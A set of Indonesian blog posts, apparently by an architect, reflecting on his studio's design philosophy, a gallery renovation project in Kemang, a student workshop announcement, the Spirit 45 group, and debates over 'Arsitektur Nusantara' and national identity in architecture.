arsitek profesional memiliki tugas-tugas dasar, yang merupakan praksis, pendekatan aksi reaksi antara metode desain dan refleksi atas metode tersebut. Ini disebut praksis. Seperti memainkan gamelan di atas denting tuts piano.
arsitek profesional memiliki tugas-tugas dasar, yang merupakan praksis, pendekatan aksi reaksi antara metode desain dan refleksi atas metode tersebut. Ini disebut praksis. Seperti memainkan gamelan di atas denting tuts piano. Karya Levi Gunardi dimainkan oleh Euginia S. Sandjaja “Little Gamelan”
“Cara kerja Model Praxis mengacu pada penjelasan Paulo Freire dimana terdapat aksi refleksi dan refleksi atas aksi.Titik tugas arsitek adalah bekerja secara eksploratif, puitis, dan mempersiapkan transfer ilmu kepada penerus kita, dunia yang indah bagi yang muda. arsitek.”
Praktik ini beroperasi berdasarkan konsep kontemplasi rahayu, yang diterjemahkan menjadi ‘harmoni. Ini berarti keadaan bebas dari prasangka dan ego, yang digunakan untuk memperoleh (secara paradoks) totalitas. Tiga prinsip dari konsep ini adalah: Memayu (membawa keindahan dan kedamaian ke dunia seseorang), Manunggal (percaya pada sesuatu yang lebih besar dari diri sendiri), dan Mudheng (memiliki kesadaran akan peran seseorang di alam semesta). Dalam menjawab pertanyaan kontemporer (saat ini) untuk melanjutkan semangat eksplorasi.
Semoga harapan – harapan yang baik dari anak – anak studio bisa terus dipertahankan, dan diwujudkan. Hal – hal yang patut untuk ditingkatkan bisa diperbaiki, Rahayu perlu dipraktekkan untuk menjadi jembatan yang baik.
Satu waktu saya bertemu dengan Pak Daniel dan Bu Lany untuk mendengarkan rencana mereka membangun satu galeri baru di Kemang. Pak Daniel pun mengundang saya untuk bertemu di Modena Experience Center di Kuningan. Saya kenal pak Daniel dari klien kami Pak Danny dan Pak Edhie. Dan, ternyata Bu Lany juga kenal dengan Pak Budiman, salah satu arsitek yang saya kagumi karena dedikasinya yang tulus dan mengingatkan satu saat di presentasinya di Omah. Hal itu saya masih ingat sampai sekarang,
Saya bertanya ke Pak Budiman, “Pak apa rahasianya, … untuk tidak pernah takut ?”
Ia menjawab “Realrich hidup itu cuma sekali, jalanilah kenapa takut ? … ” dan Pak Budiman mengingatkan.
“jangan lupa sembahyang…”
kehidupan yang cuma sekali, ini bisa diibaratkan anak kecil yang sedang menari – nari di antara bintang, Lagu komposisi dari Levi gunardi ini menggambarkan, jiwa anak – anak di dalam persona yang berkelindan di antara harapan – harapan. Begitupun arsitektur ada di dalam alam tegangan keinginan banyak pihak, klien, tim yang tidak kecil.
Dari perbincangan Pak Daniel , terlihat ada bangunan lama yang sudah ada di lokasi. Saya berpikir bahwa perlu untuk melihat apa yang sudah ada dan kemudian menggunakannya dengan cermat untuk melakukan penghematan. Saya membuat janji untuk berkunjung melihat lapangan jam 11 di hari Jumat, kebetulan hari itu hari libur, jadi saya kesana sendirian. Kami berdiskusi di lapangan. Setelah mengecek lokasi yang bebas dari banjir, melihat ketinggian bangunan, kemungkinan layout ruang, saya mengusulkan untuk mengecek struktur bangunan. Prosedur pertama adalah pengecekan material apa yang bisa dipertahankan, posisi kolom yang menjadi batasan, dan kualitas struktur yang bisa dilihat secara visual. Saya mengirimkan pesan ke beliau,
“Hallo pagi Pak Daniel,Pak Daniel masih ada data existing yang saya masih belum dapetin data eksisting kuda – kuda atap, saya memerlukan data tersebut untuk bisa membuat konsep dengan pertimbangan yang lebih terukur. Apa saya bisa melakukan pengecekan lokasi kembali untuk melihat kondisi kuda – kuda atap ? Kalau tidak bisa hari ini tidak apa – apa, mungkin juga saya perlu buka langit-langitnya untuk cek keadaan kuda – kuda.”
Di awal meeting saya meminta kawan saya, Anwar Susanto untuk melihat bagaimana struktur bangunannya. Dari situ teridentifikasi beberapa bagian yang patut untuk dibongkar ataupun di tambal / diperkuat.
Satu minggu kemudian kami bertemu kembali dan saya memberikan sketsa beserta analisa ruang dan sirkulasi. Ceritanya adalah bagaimana mengembalikan memori akan kemang yang intim, bersahaja dengan mengakomodasi fungsi galeri yang baru , menggunakan pencahayaan alami.
Maket yang diadakan untuk diskusi mengenai layout ruang, dan kemungkinan penggunaan desain atap yang baru. yang penting disini adalah hubungan massa bangunan lama dengan bangunan baru dibelakang.
Saya ingat meminta tim untuk melakukan beberapa percobaan untuk merubah atap dari yang paling eksperimental dengan membuka pertimbangan sudut utara selatan, dan menggunakan bentuk – bentuk platonis dan kurvilinear. Pembuatan maket dimaksudkan untuk mendapatkan komposisi yang berbeda – beda dengan mempertimbangkan komposisi, sudut matahari, program ruang di bawahnya, dan metafora bentuk (literal ataupun esensial).
Ini adalah bentuk lingkaran, yang pada akhrinya kita kerucutkan untuk menyaring sinar matahari yang masuk ke ruang pamer. Bentuk ini adalah metafora dari bentuk topi dengan skylight dengan tujuan mengurangi sinar matahari langsung.
ada beberapa iterasi setelahnya untuk mencoba bentuk yang terkait dengan pengolahan ruang di bawahnya, dan penyesuaian terhadap kolom struktur. sampai ke penggunaan bentuk perisan dengan intervensi skylight. Dan struktur bangunanpun disederhanakan dengan mengangkat atap sehingga cahaya matahari masuk dengan tidak langsung ke ruang pamer.
Di dalam membenahi layout ruang, konsep desain disusun dengan logika bangunan core disisi belakang berbentuk tubular dan memiliki ramp di belakang, meskipun pada akhirnya berubah fungsi menjadi ruang serba guna karena dinilai mereka membutuhkan fleksibilitas ruang yang tertutup.
Bagian fasade merupakan secondary skin yang menutupi seluruh tampak depan bangunan eksisting. Dinding secondary skin ini terdiri dari susunan modul bata berlubang yang berdiri di atas struktur baja CNP dengan pondasi sendiri dan struktur tambahan yang menopang ke atap dak bangunan eksisting. Bahasa material bata ini diadopsi dari beberapa proyek sebelumnya yaitu sekolah alfa omega dengan tektonika dengan susunan solid-void yang diadopsi juga dari proyek istakagrha dan rumah Henry.Secara fungsional secondary skin ini menyaring cahaya matahari yang masuk ke dalam ruangan serta memberikan privasi.
Eksplorasi kulit bangunan pun dilakukan dari sudut pandang ekonomis, artistik, dan kemungkinan – kemungkinan inovasi yang baru.
Ada kemungkinan – kemungkinan perbincangan sejauh mana, Galeri bisa berkelanjutan dari sudut pandang ekonomi dengan melakukan perbandingan studi, ataupun fungsi ruang yang fleksibel yang terkait dengan Galeri dari Modena yang melibatkan interior desain. Dan kemudian riset sejarah pun dilakukan untuk mengetahui sejauh mana galeri ini relevan terhadap kehidupan Kemang.
Setelah itu , tender pun dilakukan untuk memilih kontraktor. Dan puji Tuhan proses konstruksi sudah dimulai. Inilah hasilnya, dan perjalanan pun masih panjang. Tunggu ya cerita selanjutnya. Ini foto bersama tim, minus pak Daniel dan bu Lany, semoga suatu saat kita bisa berfoto bersama untuk mengenang proses desain, dan bangunan yang didesain dan dibangun bersama – sama dengan kolaboratif.
Dari yang paling kiri adalah Alifian, Nathan, Bambang, saya sendiri, Eko Nuryanto, tim Kencana Sewu, Rizal.
Sebenarnya proyek ini memiliki rentang waktu yang panjang, lebih panjang dari kontraknya sendiri. Di dalam prosesnya, untuk tipe proyek seperti ini komposisi tim disesuaikan dengan kebutuhan proyek, dan momentum yang baik untuk arsitek-arsitek muda untuk belajar, setiap proyek adalah sebuah kesempatan untuk belajar, seperti dokter yang berhadapan dengan pasien baru, dan kasus baru.
Kemarin saya meminta anak – anak saya untuk menulis satu atau dua kesan, untuk mendapatkan kenangan bersama.
Alifian Kharisma Syahziar (Kepala Studio Desain) menulis “kesan saya untuk proyek kemang sejauh ini: pengalaman yg baru dengan realitas proyek yang seperti nya lebih komplit dr yang pernah sy jalani di studio dari segi stages. mulai site analysis, skematik, DD, tender drawing, for con drawing, perijinan, meeting mingguan, MoM. saya bisa bertemu banyak stakeholder seperti proyek manajer, qs, kontraktor, konsultan2 lain. …. menurut sy portfolio bagus untuk kita sebagai studio dan individu mengingat proses nya yg komplit dan proyek nya adalah proyek bangunan publik,….proyek semacam ini adalah kesempatan yg baik bagi siapapun untuk bisa merealisasikan apa yg direncanakan dengan banyak pelajaran. proses desain yang cukup dalam, interaksi dgn orang luar lingkup raw, mensinkronkan pikiran, professionalitas, menguji kesabaran. 😁”
Dini Aghnia (Designer in charge) menulis ” … proyek ini memberikan pengalaman dan pembelajaran yg banyak sekali terutama dari aspek koordinasi dgn pihak luar krn berkesempatan untuk turun langsung bertemu stakeholder2 dan menjalani proses meeting rutin. … terlibat di dalam proyek ini adalah pengalaman yg menyenangkan walau harus bersabar cukup panjang untuk menikmati hasilnya, seperti membesarkan bayi sedikit demi sedikit. Selama perjalanan di RAW sampai saat ini selalu membuahkan kesan tersendiri untuk saya pribadi ketika didelegasikan untuk meeting/mengawas ke lapangan … selalu menjadi satu satunya perempuan di lapangan dan yg paling muda di antara semua stakeholder lain 😅 ini menjadi tantangan tersendiri juga karena harus bisa bersosialisasi dengan bapak2, tukang2, bahkan saya sampai menjadi akrab dengan security di plaza indonesia dan menara global krn sering ke lapangan saat itu… Thank you atas kesempatan berceritanya semoga bisa memberi insight baru dan membawa manfaat kedepannya 🙏 u “
Cerita di dalam rapat – rapat selalu berkesan, mulai dari bertemu Pak Daniel pertama kali, dan juga Bu Lany beliau bertanya, bahwa apakah saya mengajar ? karena cara presentasi dan cara melihat permasalahan berbeda dari arsitek yang sering beliau temui. Sebenarnya melihat showroom beliau dan interior ataupun arsitekturnya saya sungguh tersanjung studio kami diberi kesempatan untuk mengerjakan desain Artspace ini. Satu waktu saya rapat dengan Pak Daniel, saat itu kami membawa maket – maket studi yang ada di penjelasan sebelum. Dan terus terang saya sudah kehabisan tenaga hari itu karena tidak tidur semalaman. Ketika baru saja rapat ditutup dan selesai setelah kita rapat beberapa jam. Bu Lany masuk dan beliau minta diceritakan hasil desainnya, kemudian saya mengulang kembali presentasi dan mencatat perubahan – perubahan, untuk mengkalibrasi keinginan beliau yang dituangkan ke dalam kebutuhan ruang. Meeting berlanjut kembali kira – kira 1.5 jam setelahnya. Lidah saya sebenarnya kelu, dan keringat dingin mulai menetes, saya pun gemetar karena energi saya sudah mulai habis. Saya mengerti bekerja memang membutuhkan ketekunan dan kesungguhan, memang hal ini yang membuat berkesan, sebuah proses untuk melakukan yang terbaik.
Saya teringat satu saat Bu Lany bercerita, saya mau pakai kitchen designer yang ini bukan yang itu. Saya tanya “kenapa bu ? “
Untuk saya pertanyaan ini penting karena saya bisa mengetahui cara pandang klien di dalam menilai desainer atau pun arsiteknya.
Ia pun bercerita bahwa ada sebuah proses yang panjang untuk menata ruang, mencocokkan pernik – pernik, berdialog dengan orang – orang misal siapa yang akan mengoperasikan bangunan, ini senua adalah detil – detil yang kompleks. Ia sering berkata “Ini bagus tapi belum maksimal.” Ia memiliki standar yang cukup mencengangkan di dalam penataan pernik – pernik. Bu Lany bilang,
proses ini panjang dan saya tidak mudah memilih orang, saya akan berjalan bersama orang yang bisa punya nafas panjang bukan pendek,…”
Dalam hati saya berpikir, “lalu apa ya”
Ia menambahkan “so, the sky is the limit, seperti kami memilih kamu Realrich.”
Saya kembali ke judul tulisan ini. “Jadi batas langit itu dimana ? ” pertanyaan itu yang menjadi judul tulisan diatas, mungkin hal itu dimulai dengan membentuk hubungan relasi yang sehat, dan itu dimulai dari kepercayaan dan apresiasi yang baik. Dari situ saya menutup laptop, bersyukur mengenai proses di studio yang panjang dan berkesan.
Seketika saya melihat Whatsapp terus berbunyi. Wanitaku tercintaku, Laurensia memanggil,
“Sudah makan belum yang ?”
Terlihat diatas sketsa bangunan yang didiskusikan pada awal desain, dan gambar dibawah adalah tampak bangunan yang ditutupi kulit bangunan yang menggunakan tektonika bata sebagai penutup. Visualisasi oleh : Enomu VisualDiatas ini adalah desain setelah menyesuaikan terhadap desain baru pedestrian jalan di Kemang yang lebih terbuka. Visualisasi oleh : Enomu VisualEksplorasi kulit bangunan pun dilakukan dari sudut pandang ekonomis, artistik, dan kemungkinan – kemungkinan inovasi yang baru.Ini hasil setelah penggodokan terhadap, optimalisasi konstruksi, optimalisasi fleksibilitas ruang yang diperlukan, biaya, dimana atap diangkat seringan mungkin dari ruang galeri. Hal ini juga mempertimbangkan kondisi termal di dalam ruangan. Pak Daniel menunjuk yudha sebagai Interior, kami berdiskusi bahwa space galeri perlu untuk bisa fleksibel sebagai ekstensi showroom dari Modena atau membuka kemungkinan terhadap fungsi – fungsi lain.
Kumpulan kolase proyek
Terima kasih Alifian Kharisma dan Dini Aghnia Lukman yang masih Work from Home untuk kerja kerasnya yang masih mau menemani di proses – proses panjang dari rubah, rubah dan rubah, dan juga ke beberapa orang yang terlibat sebelumnya. Bambang Ardi, Eko Nuryanto, Kencana Sewu, Tanto , Rizal, Gunawan, Yudhanarta, Yudha, Nathan. Juga Pak Daniel dan Bu Lany.
“Community House: A Welcoming and Unifying Third-place for Collage Student and Surrounding Communities”
Manusia sebagai makhluk sosial perlu untuk berinteraksi dengan orang lain, tidak terkecuali dengan mahasiswa. Banyak kendala yang dialami oleh kehidupan seorang mahasiswa, baik dalam hal akademik, kehidupan sosial, dan psikologis, mendorong terbentuknya sebuah third-place yang memadai. Workshop ADW 2020 ingin mengajak para peserta untuk mampu menciptakan sebuah third-place dengan program-program yang mendukung kebutuhan mahasiswa dan interaksi dengan masyarakat sekitar. Peserta dibekali dengan study tour ke objek-objek di Jakarta, serta bimbingan langsung oleh para ahli di bidangnya.
Lecturers: 1. Realrich Sjarief (RAW Architecture) 2. Nur Muhammad (PDW Architects) 3. Bayo Ariyanto (Basio) 4. Antonius Richard (RAD+ Architecture) 5. Adi Purnomo* (mamostudio) 6. Soerjono Herlambang (Untar Academician) 7. Maria Veronica (Untar Academician) 8. Yori Antar (Han Awal & Partners)
*in confirmation
Early Bird @Rp.350.000,- (ONLY FOR THE FIRST 10 INDIVIDUAL SEATS) Normal @Rp.400.000,- *limited for 30 seat
Di dalam acara Nusantara kemarin, saya teringat saya melemparkan anekdot ke Eka mengenai,
“Ka itu Spirit 45 sebaiknya dibubarkan saja. Karena memang berbasis kepada acara tertentu, perjalanan ke Paris.”
Saya sendiri sudah tidak memiliki kepentingan disitu. Mungkin yang tersisa adalah pengembangan ide mengenai Le Corbusier bahwa kami pernah berziarah bersama. Apabila ada ide tentang pengembangan buku dan sebagainya, saya melihatnya sebagai ajang romantisme bahwa sejujurnya saya dahulu ingin supaya kami bertiga (Eka Swadiansa dan Andy Rahman) tetap berdialog dan tidak saling meninggalkan, dimana ini adalah ranah personal, bukan bisnis dan juga bukan misi tertentu.
Mempelajari sesuatu yang baru, seperti berada menelusuri tempat – tempat yang rahasia. Seperti metafora taman, “Secret Garden” yang indah, proses menelusurinya yang berkesan, setelah proses itu dilakukan, lalu sudah saatnya kita kenang lalu kita menelusuri taman – taman rahasia yang lain.
Sebagai sebuah grup, secara personal dulu Eka mengirimkan email ke saya untuk membentuk Spirit 45. Yang menarik bagi saya adalah ajakan untuk berkunjung ke karya Le Corbusier selain menyiapkan turunan dari Arsitektur Vernakular, dimana saya percaya bahwa apa yang digagas akan mampu memberikan wacana untuk kontemplasi kami di studio.
Arsitektur Vernakular adalah arsitektur dengan pendekatan perancangan yang biasa, menggunakan bahan yang dipakai sehari – hari, bentuk massa yang sederhana, kulit bangunan menggunakan kekriyaan lokal, penggunaan layout yang platonis, dan juga sistem MEP, pemanfaatan energi dan air yang mudah didapatkan, tidak mahal. Ibaratnya lekat dengan kehidupan sehari – hari, kehidupan tanpa solek. Turunan ini sifatnya memang problematis, karena perlu menggali bagaimana sistem produk bekerja di dalam perancangan yang biasa.
Sarah Edwards menulis “Arsitektur vernakular, bentuk paling sederhana untuk memenuhi kebutuhan manusia, tampaknya dilupakan dalam arsitektur modern. …merangkul tradisi regionalisme dan bangunan budaya, mengingat bahwa pemikiran ini … terbukti hemat energi dan sepenuhnya berkelanjutan. Di era urbanisasi dan kemajuan teknologi yang pesat ini, masih banyak yang dapat dipelajari dari pengetahuan tradisional tentang konstruksi vernakular. Metode berteknologi rendah untuk membuat perumahan yang secara sempurna disesuaikan dengan lokasinya adalah brilian, karena ini adalah prinsip yang lebih sering diabaikan oleh arsitek yang ada.” lihat link
Disinilah ada irisan antara kami, karena memang ada irisan terhadap apa yang dipercayai, bahwa arsitektur seharusnya bisa diturunkan dengan pendekatan – pendekatan spesifik tertentu.
Meta-Vernacular adalah teori arsitektur turunan yang dibahas di buku putih Spirit 45, sebuah terminologi yang digagas oleh Swadiansa untuk irisan kami, saya hanya berperan kecil di dalam buku itu, ia menyapa dan kami masih berkawan baik sampai sekarang. Di ranah profesionalitas bisa saja kami tidak sependapat namun tidak akan bertengkar secara personal. Ia pun masih berproses, dan saya mendukungnya secara personal. Ia melanjutkan kemudian dengan merajut Spirit 47. Teori seperti yang dibahas oleh Undi Gunawan adalah sebuah cara memandang, Meta Vernacular adalah turunan lebih lanjut daripada ranah vernakular sebagai aksi reaksi dari postmodernism. Saya sangat mendukung Eka di dalam menurunkan hal – hal ini, karena seseorang yang mengembangkan teori sangatlah jarang di Indonesia.
Setelah trip kami ke karya Corbusier di satu saat di kereta kembali ke Paris saya mengusulkan untuk membuat buku 0 dimana itu adalah buku awal mula, dan di hotel saya menelpon Anas Hidayat dari Perancis untuk memintanya menjadi penulis buku Andy Rahman karena saat itu saya sedang menulis beberapa buku dengan Anas Hidayat, dan saya pikir ia akan mudah berkerjasama dengan Andy selain ada kemungkinan kepentingan bisnis yang bisa baik untuk kedua belah pihak. Buku Nata Bata selesai, saya menantikan buku Static City dari Eka. Namun waktu dan jalan hidup berkata berbeda. Karena saya kehabisan waktu menunggu dan Eka memiliki momentum untuk mengembangkan hal yang lain.
Saya memiliki ide untuk menerbitkan beberapa hasil riset kami berupa buku – buku saya tulis beserta kawan – kawan di Omah Library, juga Anas Hidayat, dan Johannes Adiyanto hanya karena saya merasa dekat, dan ada teman seperjalanan, tidak kurang dan tidak lebih, alasannya pun cukup personal. Setahun setelahnya, saya merefleksikan kembali, banyak yang sudah dilakukan, dan didiskusikan. Bahwa ada yang tidak sejalan itu normal ataupun semuanya yang sejalan itu pun juga wajar – wajar saja, dan hubungan personal akan baik – baik saja di antara kami.
Kemudian apa yang saya takutkan bahwa Spirit 45 sebagai alat untuk agenda-agenda personal tertentu (bisnis, ketenaran, dan ambisi pribadi tertentu termasuk saya sendiri), dan saya memang pernah dan sudah jadi bagian disitu. Suka atau tidak suka disclaimer diperlukan untuk menjaga hubungan antarpersonal yang lain.
Sementara bola sudah bergulir,
jadi bagaimana ?
“Eh jangan mas, di-peti es kan saja, sampai satu saat cair kembali, atau beku selamanya.”
Satu saat kawan saya bergumam. Bisa ya ? karena sekali bergulir tidak bisa kembali itulah namanya Snowball Effect, ataupun hal tersebut sering dibahas di dalam terminologi perubahan iklim (climate change).
lalu apa. Minggir ae lah ya, ke ladang membajak sawah, berproduksi dan berhenti dan kemudian berteriak – teriak “kerja – kerja – kerja.”
Sejenak saya sadar dan bangun, bahwa belenggu kultural tercipta kembali, setiap orang punya peperangannya sendiri dan kontemplasinya sendiri, dan itu sah – sah saja. Belenggu kultural akan muncul apabila apa yang kita proyeksikan menjadi kenyataan dan hasilnya pun kita tidak akan bisa tebak arahnya kemana. Ada yang menggelinding ke ranah bisnis, ada juga ke ranah misi tertentu, ada juga ke ranah yang personal. Bola saljunya pecah ke segala arah.
Sejenak saya ingat cerita Phytagoras dimana ia harus memilih antara permainan publik, politik, permainan ketenaran dan kuasa untuk menang atau paling mudahnya, hegemoni. Seperti yang dikutip dari Simon Singh
“Kehidupan… mungkin bisa diperbandingkan dengan sebuah permainan di dalam keramaian. Beberapa orang tertarik dengan seberapa ia bisa memperoleh keuntungan, sementara yang lain tertarik oleh harapan dan ambisi akan ketenaran dan kemenangan. Tapi di antara mereka, ada beberapa yang datang hanya mengamati dan memahami semua yang terjadi di kerumunan dan lalu lalang disini.”
“Sama juga dengan kehidupan. Beberapa orang terpengaruh akan cinta akan harta dimana yang lain buta akan kekuasaan, dan keinginan untuk mendominasi. tetapi tipe manusia yang terbaik memberikan dirinya untuk menemukan arti dan tujuan kehidupan. Ia akan mencari untuk mengungkap rahasia kehidupan. Orang ini yang saya sebut, filsuf, meskipun tidak ada orang yang sepenuhnya bijaksana, ia bisa mencintai kebijaksanaan akan sebuah kunci untuk memahami rahasia alam.”
Tiba – tiba ada suara hangat kembali menyapa. Kali ini disertai dengan sentuhan halus.
“Kerja Kerja Kerja, Bangun!”
Lalu saya bangun dari mimpi, muka Miracle tepat di depan saya, Heavenpun menangis dan sepertinya semua baik – baik saja, tidak terlihat bola salju yang besar itu, mungkin saya sedang berhalusinasi.
Baru beberapa minggu terakhir saya disibukkan dengan banyak pertanyaan tentang tradisi dan kekinian, kali ini tentang Arsitektur Nusantara. Ada satu mahasiswa lagi aneh – aneh saja nanya ke saya. Dari cara ia bertanya saya sudah bisa merasakan kadar kesontoloyoannya.
. “Pak saya ngga suka sama arsitektur nusantara soalnya kok katro gitu sih pak ngga modern.”
. Jawab saya “Lho kamu ngga boleh gitu dong masa prejudice gitu sih, memang kenapa sama arsitektur nusantara orang itu bukan bangunan desain kamu ya, silahkan saja kan kalau orang mau mendesain sebebas dia, masa kamu mau jadi polisi. “ . Tapi kemudian saya pikir mungkin mahasiswa ini ada benarnya, lalu saya tanya lagi sama dia. . “Memangnya kenapa kok kamu ngga suka sama Arsitektur Nusantara ?kamu ngga suka sama arsiteknya atau karyanya. Dia menjawab ya pak, soalnya ya saya ngga melihat ada yang baru, pendekatan – pendekatannya sudah kuno kan Romo Mangun pernah membahas ini pak waktu membahas tentang AMI (maksud dia adalah Arsitek Muda Indonesia). Kan karyanya Romo juga melakukan pendekatan yang sama.”
. Kemudian saya mengingat – ngingat, kalimat yang dituliskan almarhum Ahmad Djuhara di dalam buku AMI 2. ” Dalam salah satu acara Forum AMI…mendiang Romo Mangun menyatakan hal yang menyentak teman – teman : “Karyanya bagus, tapi kuno!” Menurutnya tidak ada temuan, terobosan, konsep baru tentang arsitektur, elemen arsitektur, program dan dalm semua skala, dari furnitur (kursi, misalnya…) sampai kota (yang menjadi mainan Le Corbusier atau Otto Wagner.” Saya mengingat satu kata yang merupakan komposisi musik yang dituliskan oleh Levi Gunardi. Dahayu dalam bahasa Sansekerta, artinya Cantik. Seperti arti nama Dahayu, ibu dan wanita memiliki peranan penting yang mengayomi. Setiap bertemu orang baru, mahasiswa didik, sisi mengayomi akan dibutuhkan untuk membantu mereka menembus batas. Untuk diayomi kita perlu mengayomi, untuk diiyakan kita perlu mengiyakan, hal ini sifatnya resiprokal.
Dahayu dalam bahasa Sansekerta, artinya Cantik. Seperti arti nama Dahayu, ibu dan wanita memiliki peranan penting yang mengayomi. Setiap bertemu orang baru, mahasiswa didik, sisi mengayomi akan dibutuhkan untuk membantu mereka menembus batas. Untuk diayomi kita perlu mengayomi, untuk diiyakan kita perlu mengiyakan, hal ini sifatnya resiprokal.
. Kemudian, saya tersadar. “Sontoloyo” ternyata anak ini canggih juga, lalu saya tanya lagi
“jadi mau kamu apa ?” . Ya saya itu tertarik bukan hanya soal bentuk pak, atau nama saja, tapi bagaimana satu bangunan itu didesain secara pintar oleh arsiteknya bukan hanya mengulang – ulang jargon – jargon yang menjemukan sembari ia mengulang apa kata Romo Mangun dengan mengganti kata AMI dengan Arsitektur Nusantara. . Lalu gimana saya tanya ? . Lha iya pak kalau gitu nanti kalau saya dapat klien, saya akan buat karya saya sendiri. . Nah gitu dong, tunjukkan pada dunia jalan yang berbeda. Kata saya ke anak ini . Ia lalu berseloroh, tunggu pak saya belum selesai, dan akan saya namakan arsitektur saya Arsitektur Indonesia. . “Kenapa” saya tanya ke dia, . Iya pak Nusantara itu identik dengan kolonialisme. . Waduh, nak kamu baca apa aja sih. . Dia menjawab Wikipedia pak,
Ia lalu berseloroh, tunggu pak saya belum selesai, dan akan saya namakan arsitektur saya Arsitektur Indonesia. “Kenapa” saya tanya ke dia, Iya pak Nusantara itu identik dengan kolonialisme. Waduh, nak kamu baca apa aja sih. Dia menjawab Wikipedia pak.
Saya kemudian tersenyum, sontoloyo tenan. Pelan – pelan saya balik ke meja saya membuka referensi buku – buku untuk saya bagikan ke anak ini, salah-satunya adalah novel Romo Mangun mengenai burung – burung Manyar, kekuatan berproses bercinta di dalam arsitektur dan untuk tetap menjadi sontoloyo. Teruskan dik untuk meredefinisi Arsitekturmu ! Hal ini membuat saya tertarik untuk melihat diskursus identitas di dalam Arsitektur Nusantara … ups atau .. Indonesia.
Saya ingat di dalam acara di Omah Library, Abidin Kusno mereposisikan 5 buah posisi untuk Nusantara.
Saya ingat di dalam acara di Omah Library, Abidin Kusno mereposisikan 5 buah posisi untuk Nusantara. Abidin menempatkan posisi Josef Prijotomo di dalam kuadran ke-5 sebuah resistensi untuk kesetaraan. Kritisisme yang diperbincangkan di dalam diskusi terlihat bagaimana keresahan kawan – kawan terhadap arsitektur nusantara ini yang membuahkan posisi ke 6, yaitu penggunaan istilah Nusantara sebagai sebuah komoditas.
Abidin menempatkan posisi Josef Prijotomo di dalam kuadran ke-5 sebuah resistensi untuk kesetaraan. Kritisisme yang diperbincangkan di dalam diskusi terlihat bagaimana keresahan kawan – kawan terhadap arsitektur nusantara ini yang membuahkan posisi ke 6, yaitu penggunaan istilah Nusantara sebagai sebuah komoditas.
Eka, Roro, Alva, Cahyo dan rekan – rekan lain menggarisbawahi posisi selanjutnya ke 7 dan 8 untuk memberikan posisi bahwa nusantara bisa membuka wacana dekolonialisasi. Namun hal ini sungguhlah perlu studi yang tidak sebentar mengenai penemuan – penemuan lanjutan para intelektual, dimana ini merupakan kerja bersama.
Ada saya inget beberapa kalimat dari Roro Damar di dalam perbincangan.
” Pak Abidin, saya ada pertanyaan :
Nusantara salah satunya menjadi popular karena ada doktrinasi dari pemerintah dalam dunia pendidikan, sehingga masyarakat secara blindly percaya Nusantara adalah jaman ‘keemasan’ Indonesia di masa lalu, despite the problematic history. Saat ini Nusantara dan Arsitektur Nusantara sudah dimaknai secara ‘dogmatic’ oleh pendukungnya, seakan jadi satu2nya ‘the most authentic’ identitas dr Indonesia. Bagaimana pak Abidin menanggapi ini?
Nusantara sangat Javasentis, bahkan saat ini Arsitektur Nusantara ditolak oleh beberapa elemen masyarakat di perifer Indonesia karena mereka tidak pernah merasa ‘dijajah’ Majapahit. Bukankah Nusantara dan Arsitektur Nusantara ini bentuk penindasan budaya juga jika memaksa mereka ‘bersatu’ di bawah ide ini? Dan fakta bahwa Majapahit berarti adalah imperialist, apakah etis negara yang telah dijajah 3,5 abad kemudian merefer pada glorious history kerajaan imperialist?
Arsitektur Nusantara yang saat ini ramai digaungkan oleh arsitek Indonesia seakan hanya representasi middle class, dengan ide idealnya menggunakan material lokal, ornament daerah, dll. Sementara masyarakat marginal terpaksa menggunakan material fabrikasi krn itulah yang terjangkau oleh mereka, karena himpitan ekonomi. Dengan rumah yang tidak ‘Nusantarais’ seakan membuat orang2 marjinal ini bukan termasuk orang Nusantara. Bagaimana harusnya menempatkan ide Arsitektur Nusantara diantara kompleksitas dan himpitan geo-politik, sosial dan ekonomi saat ini? Mungkinkah kita membuat garis mana yg merupakan identitas bangsa, dan mana yg bukan? Terima kasih pak.”
Pertanyaan ini dijawab Abidin Kusno dengan jelas bahwa intinya kita mengalami sebuah problematika dan perjalanan untuk mencari kesejatian itu sendiri juga problematis dan tidak produktif. Ia menyarankan bahwa perlu dilihat bahwa apa yang telah dihasilkan melalui klaim “arsitektur nusantara”? Abidin memprediksi kemungkinan karena genealogi kata “nusantara” itu adalah dari para political elite, maka ia cenderung “elitis” atau “propagandais.”
Untuk menurunkan sebuah istilah menjadi sebuah dasar teori, perlu perdebatan dan perbincangan, untuk melihat apa makna dan arti sesungguhnya sebuah wacana. Dari diskusi di atas kita bisa belajar bahwa perdebatan diperlukan tanpa ad hominem (personal) dan pretensi – pretensi yang tidak diperlukan.
Di balik layar saya mencari – cari pak Josef Prijotomo, ia tidak hadir di acara tersebut. Padahal saya khusus menginginkan dialog ini terdengar oleh pak Josef, dimana apresiasi diberikan untuk sebuah perjuangan, resistensi demi kesetaraan.
Saya jadi teringat ketika saya mengirimkan tulisan Madeg Pandhito ke pak Josef Prijotomo. Ia menjawab,
“Terima kasih. Saya tidak pantas bila diberi label “madeg pandhito” sebab saya bukan pandhito, saya hanya soso(k) yg ekstrimnya boleh disebut pINandhito, yakni sosok yang mesti berperan bagaikan pandhito (=pinandhito) saat harus membawa murid saya ke ladang kebijaksanaan (wisdom, sophia)”
saya membalas, “nah terima kasih pak sudah membawa ke ladang tersebut :)…kita semua mesti memainkan peran tersebut kan pak.”
Saya jadi berpikir ulang memang sang pINandhito sudah tidak perlu hadir lagi, karena tidak ada peran untuknya, baginya ia akan muncul begitu muncul peran. Seni peran memang membutuhkan sebuah pertunjukkan. Untuk mendalami wacana dibutuhkan kacamata di luar panggung(lingkaran) itu sendiri.
Saya tertarik justru akan cerita dibelakang panggung, tulisan perspektif 4 titik.
“Alhasil disini kita bisa belajar mengenai semangat di dalam backstage ini, elemen yang terpenting namun sering dilupakan, panggung seringkali menyilaukan dengan hingar bingarnya, merah kuningnya, namun terkadang, semangat backstage ini sendiri adalah jiwa dari panggung tersebut, semua ini sama seperti dunia kerja, maupun apapun yang ada di hidup kita, back stage itu hati, jiwa dan proses, dapur dari pikiran kita …panggung itu hanya pemanis dan pupur kiasan, yang terkadang menipu. di Backstage ada semangat untuk salah, ada juga semangat untuk belajar, apalagi semangat untuk mencoba benar ,…terkadang mungkin kita lupa dengan ini.”
